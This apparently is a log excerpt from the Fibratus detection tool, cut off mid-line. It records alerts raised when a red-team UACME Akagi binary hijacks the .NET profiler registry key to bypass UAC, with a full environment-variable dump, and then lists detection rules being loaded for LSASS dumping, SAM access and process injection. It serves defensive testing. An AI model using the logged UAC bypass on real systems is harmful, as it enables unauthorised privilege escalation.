trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false scan-timeout=>10s fastscan=>true excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:39:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:39:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:40:08+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5800578 + Pid: 20668 + Tid: 20996 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:40:00.4355675 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce863683a840, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 20668 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T20:41:00+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5983075 + Pid: 15856 + Tid: 18372 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 20:40:58.9994948 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce863683a840, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15856 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T20:41:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:41:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:41:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:41:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:41:38+01:00 level=info msg=loading rule from 